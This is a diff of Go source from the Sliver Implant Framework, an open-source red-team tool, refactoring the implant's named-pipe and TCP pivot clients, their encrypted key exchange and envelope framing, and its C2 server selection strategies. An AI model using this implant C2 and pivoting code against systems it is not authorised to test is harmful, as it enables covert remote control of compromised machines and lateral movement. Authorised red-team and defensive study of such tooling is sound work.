func NamedPipeConnect(uri *url.URL) (net.Conn, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Named pipe address: ", address)
|
||||
// {{end}}
|
||||
return winio.DialPipe(address, nil)
|
||||
}
|
||||
|
||||
func WriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("[namedpipe] Marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
for totalWritten < len(data)-writeBufSizeNamedPipe {
|
||||
n, err2 := (*conn).Write(data[totalWritten : totalWritten+writeBufSizeNamedPipe])
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
if totalWritten < len(data) {
|
||||
missing := len(data) - totalWritten
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func ReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error (read msg-length): %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, readBufSizeNamedPipe)
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := (*conn).Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
+9
-8
@@ -1,6 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package pivotclients
|
||||
package namedpipe
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -20,11 +26,6 @@ package pivotclients
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
// NamedPipeConnect - Non windows implementation of the named pipe client
|
||||
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
|
||||
return nil, errors.New("unsupported platform")
|
||||
func NamedPipeConnect(_ *url.URL) (net.Conn, error) {
|
||||
return nil, errors.New("{{if .Config.Debug}}NamedPipeConnect not implemented on this platform{{end}}")
|
||||
}
|
||||
@@ -1,50 +0,0 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
defaultNamedPipeDeadline = time.Second * 10
|
||||
)
|
||||
|
||||
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
|
||||
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
|
||||
if err != nil {
|
||||
readDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
|
||||
if err != nil {
|
||||
writeDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
return &NamedPipePivotOptions{
|
||||
ReadDeadline: readDeadline,
|
||||
WriteDeadline: writeDeadline,
|
||||
}
|
||||
}
|
||||
|
||||
// NamedPipePivotOptions - Options for the NamedPipe pivot
|
||||
type NamedPipePivotOptions struct {
|
||||
ReadDeadline time.Duration
|
||||
WriteDeadline time.Duration
|
||||
}
|
||||
@@ -1,70 +0,0 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
// NamedPipePivotStartSession - Start a TCP pivot session with a peer
|
||||
func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*NetConnPivotClient, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Pivot named pipe address: ", address)
|
||||
// {{end}}
|
||||
conn, err := winio.DialPipe(address, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pivot := &NetConnPivotClient{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
|
||||
readDeadline: opts.ReadDeadline,
|
||||
writeDeadline: opts.WriteDeadline,
|
||||
}
|
||||
err = pivot.peerKeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
err = pivot.serverKeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return pivot, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
@@ -1,364 +0,0 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
OriginID = originID() // The origin's PeerID
|
||||
)
|
||||
|
||||
// originID - Random origin identifier
|
||||
func originID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivotClient - A TCP pivot client
|
||||
type NetConnPivotClient struct {
|
||||
originID int64
|
||||
pivotSessionID []byte
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
peerCipherCtx *cryptography.CipherContext
|
||||
serverCipherCtx *cryptography.CipherContext
|
||||
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
}
|
||||
|
||||
// KeyExchange - Perform the key exchange with peer and then the upstream server
|
||||
func (p *NetConnPivotClient) KeyExchange() error {
|
||||
err := p.peerKeyExchange()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer key exchange successful")
|
||||
// {{end}}
|
||||
err = p.serverKeyExchange()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Server key exchange successful")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) peerKeyExchange() error {
|
||||
publicKey, err := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error decoding public key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
pivotHello, _ := proto.Marshal(&pb.PivotHello{
|
||||
PublicKey: publicKey,
|
||||
PublicKeySignature: cryptography.ECCPublicKeySignature,
|
||||
})
|
||||
|
||||
// Enforce deadlines on the key exchange
|
||||
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
|
||||
p.write(pivotHello)
|
||||
p.conn.SetWriteDeadline(time.Time{})
|
||||
|
||||
p.conn.SetReadDeadline(time.Now().Add(p.readDeadline))
|
||||
peerPublicKeyRaw, err := p.read()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error reading peer public key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerHello := &pb.PivotHello{}
|
||||
err = proto.Unmarshal(peerPublicKeyRaw, peerHello)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error un-marshaling peer public key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerSessionKey, err := cryptography.ECCDecryptFromPeer(peerHello.PublicKey, peerHello.PublicKeySignature, peerHello.SessionKey)
|
||||
if err != nil || len(peerSessionKey) != 32 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error decrypting session key: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerSessionKeyBuf := [32]byte{}
|
||||
copy(peerSessionKeyBuf[:], peerSessionKey)
|
||||
p.peerCipherCtx = cryptography.NewCipherContext(peerSessionKeyBuf)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) serverKeyExchange() error {
|
||||
p.originID = OriginID
|
||||
serverSessionKey := cryptography.RandomKey()
|
||||
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pivotServerKeyExchange, _ := proto.Marshal(&pb.PivotServerKeyExchange{
|
||||
OriginID: p.originID,
|
||||
SessionKey: ciphertext,
|
||||
})
|
||||
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotServerKeyExchange,
|
||||
Data: pivotServerKeyExchange,
|
||||
})
|
||||
keyExchangeCiphertext, err := p.peerCipherCtx.Encrypt(pivotServerKeyExchangeEnvelope)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Sending server key exchange ...")
|
||||
// {{end}}
|
||||
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
|
||||
err = p.write(keyExchangeCiphertext)
|
||||
p.conn.SetWriteDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Waiting for server key exchange response (5m) ...")
|
||||
// {{end}}
|
||||
// Now that both peer/server cipher contexts are setup we can use ReadEnvelope() we use
|
||||
// a different read deadline here as this has to go round trip to the server if the
|
||||
// upstream implant uses a slow protocol it may take a while to go there and back again
|
||||
p.conn.SetReadDeadline(time.Now().Add(5 * time.Minute))
|
||||
serverKeyExchangeResp, err := p.ReadEnvelope()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if serverKeyExchangeResp.Type != pb.MsgPivotServerKeyExchange {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Unexpected message type: %v", serverKeyExchangeResp.Type)
|
||||
// {{end}}
|
||||
return errors.New("server key exchange failure")
|
||||
}
|
||||
// Just make sure we can parse the bytes
|
||||
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExchangeResp.Data).Bytes()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Pivot session ID: %s",
|
||||
uuid.FromBytesOrNil(serverKeyExchangeResp.Data).String(),
|
||||
)
|
||||
// {{end}}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// write - Write a message to the TCP pivot with a length prefix
|
||||
// it's unlikely we can't write the 4-byte length prefix in one write
|
||||
// so we fail if we can't, messages may be much longer so we try to
|
||||
// drain the message buffer if we didn't complete the write
|
||||
func (p *NetConnPivotClient) write(message []byte) error {
|
||||
p.writeMutex.Lock()
|
||||
defer p.writeMutex.Unlock()
|
||||
n, err := p.conn.Write(p.lengthOf(message))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
// {{end}}
|
||||
return ErrFailedWrite
|
||||
}
|
||||
|
||||
total := 0
|
||||
for total < len(message) {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
total += n
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) read() ([]byte, error) {
|
||||
p.readMutex.Lock()
|
||||
defer p.readMutex.Unlock()
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
n, err := p.conn.Read(dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, bufSize)
|
||||
dataBuf := []byte{}
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := p.conn.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
return dataBuf, err
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) lengthOf(message []byte) []byte {
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(message)))
|
||||
return dataLengthBuf.Bytes()
|
||||
}
|
||||
|
||||
// WriteEnvelope - Write a complete envelope
|
||||
func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
plaintext, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Marshaling error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
var peerPlaintext []byte
|
||||
if envelope.Type != pb.MsgPivotPeerPing {
|
||||
// Prepend the message with the pivot session ID
|
||||
// note this can only be done after the server key change
|
||||
ciphertext, err := p.serverCipherCtx.Encrypt(plaintext)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Server encryption error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
msgBuf := make([]byte, len(p.pivotSessionID)+len(ciphertext))
|
||||
copy(msgBuf, p.pivotSessionID)
|
||||
copy(msgBuf[len(p.pivotSessionID):], ciphertext)
|
||||
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotOriginEnvelope,
|
||||
Data: msgBuf,
|
||||
})
|
||||
} else {
|
||||
// Pivot pings are not encrypted with the sever key
|
||||
peerPlaintext = plaintext
|
||||
}
|
||||
|
||||
peerCiphertext, err := p.peerCipherCtx.Encrypt(peerPlaintext)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer encryption error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return p.write(peerCiphertext)
|
||||
}
|
||||
|
||||
// ReadEnvelope - Read a complete envelope
|
||||
func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
data, err := p.read()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error reading message: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.peerCipherCtx.Decrypt(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer decryption error: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
peerEnvelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal origin envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
// The only msg type that isn't encrypted by the server should be pivot pings
|
||||
if peerEnvelope.Type == pb.MsgPivotPeerPing {
|
||||
return peerEnvelope, nil
|
||||
}
|
||||
if peerEnvelope.Type != pb.MsgPivotOriginEnvelope {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unexpected envelope type (non-origin)")
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
plaintext, err := p.serverCipherCtx.Decrypt(peerEnvelope.Data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Server decryption error: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(plaintext, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
// CloseSession - Close the TCP pivot session
|
||||
func (p *NetConnPivotClient) CloseSession() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package pivotclients
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
bufSize = 1024
|
||||
)
|
||||
|
||||
var (
|
||||
ErrFailedWrite = errors.New("write failed")
|
||||
|
||||
defaultDeadline = time.Second * 10
|
||||
)
|
||||
|
||||
// ParseTCPPivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseTCPPivotOptions(uri *url.URL) *TCPPivotOptions {
|
||||
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
|
||||
if err != nil {
|
||||
readDeadline = defaultDeadline
|
||||
}
|
||||
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
|
||||
if err != nil {
|
||||
writeDeadline = defaultDeadline
|
||||
}
|
||||
return &TCPPivotOptions{
|
||||
ReadDeadline: readDeadline,
|
||||
WriteDeadline: writeDeadline,
|
||||
}
|
||||
}
|
||||
|
||||
// TCPPivotOptions - Options for the TCP pivot
|
||||
type TCPPivotOptions struct {
|
||||
ReadDeadline time.Duration
|
||||
WriteDeadline time.Duration
|
||||
}
|
||||
|
||||
// TCPPivotStartSession - Start a TCP pivot session with a peer
|
||||
func TCPPivotStartSession(peer string, opts *TCPPivotOptions) (*NetConnPivotClient, error) {
|
||||
conn, err := net.Dial("tcp", peer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivot := &NetConnPivotClient{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
|
||||
readDeadline: opts.ReadDeadline,
|
||||
writeDeadline: opts.WriteDeadline,
|
||||
}
|
||||
err = pivot.KeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
return pivot, nil
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,94 @@
|
||||
package transports
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"net"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
bufSize = 1024
|
||||
)
|
||||
|
||||
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *pb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("[tcppivot] Marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error %v and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
for totalWritten < len(data)-bufSize {
|
||||
n, err2 := (*conn).Write(data[totalWritten : totalWritten+bufSize])
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
if totalWritten < len(data) {
|
||||
missing := len(data) - totalWritten
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func tcpPivotReadEnvelope(conn *net.Conn) (*pb.Envelope, error) {
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, bufSize)
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := (*conn).Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
|
||||
// {{end}}
|
||||
return &pb.Envelope{}, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
@@ -30,11 +30,38 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
strategyRandom = "r"
|
||||
strategyRandomDomain = "rd"
|
||||
strategySequential = "s"
|
||||
StrategyRandom = "r"
|
||||
StrategyRandomDomain = "rd"
|
||||
StrategySequential = "s"
|
||||
)
|
||||
|
||||
var (
|
||||
maxErrors = GetMaxConnectionErrors()
|
||||
reconnectInterval = time.Duration(0)
|
||||
|
||||
activeC2 string
|
||||
activeConnection *Connection
|
||||
proxyURL string
|
||||
)
|
||||
|
||||
// GetActiveC2 returns the URL of the C2 in use
|
||||
func GetActiveC2() string {
|
||||
return activeC2
|
||||
}
|
||||
|
||||
// GetProxyURL return the URL of the current proxy in use
|
||||
func GetProxyURL() string {
|
||||
if proxyURL == "" {
|
||||
return "none"
|
||||
}
|
||||
return proxyURL
|
||||
}
|
||||
|
||||
// GetActiveConnection returns the Connection of the C2 in use
|
||||
func GetActiveConnection() *Connection {
|
||||
return activeConnection
|
||||
}
|
||||
|
||||
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
|
||||
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -43,26 +70,23 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
generator := make(chan *url.URL)
|
||||
go func() {
|
||||
defer close(generator)
|
||||
c2Counter := uint(0)
|
||||
c2Counter := 0
|
||||
for {
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case strategyRandom: // Random
|
||||
case StrategyRandom: // Random
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
case strategyRandomDomain: // Random Domain
|
||||
case StrategyRandomDomain: // Random Domain
|
||||
// Select the next sequential C2 then use it's protocol to make a random
|
||||
// selection from all C2s that share it's protocol.
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
next = randomCCDomain(c2Servers, next)
|
||||
case strategySequential: // Sequential
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
case StrategySequential: // Sequential
|
||||
next = c2Servers[c2Counter%len(c2Servers)]
|
||||
default:
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
next = c2Servers[c2Counter%len(c2Servers)]
|
||||
}
|
||||
c2Counter++
|
||||
if ^uint(0) < c2Counter {
|
||||
panic("counter overflow")
|
||||
}
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -109,11 +133,6 @@ func randomCCDomain(ccServers []string, next string) string {
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
}
|
||||
|
||||
var (
|
||||
// reconnectInterval - DO NOT ACCESS DIRECTLY
|
||||
reconnectInterval = time.Duration(0)
|
||||
)
|
||||
|
||||
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
|
||||
func GetReconnectInterval() time.Duration {
|
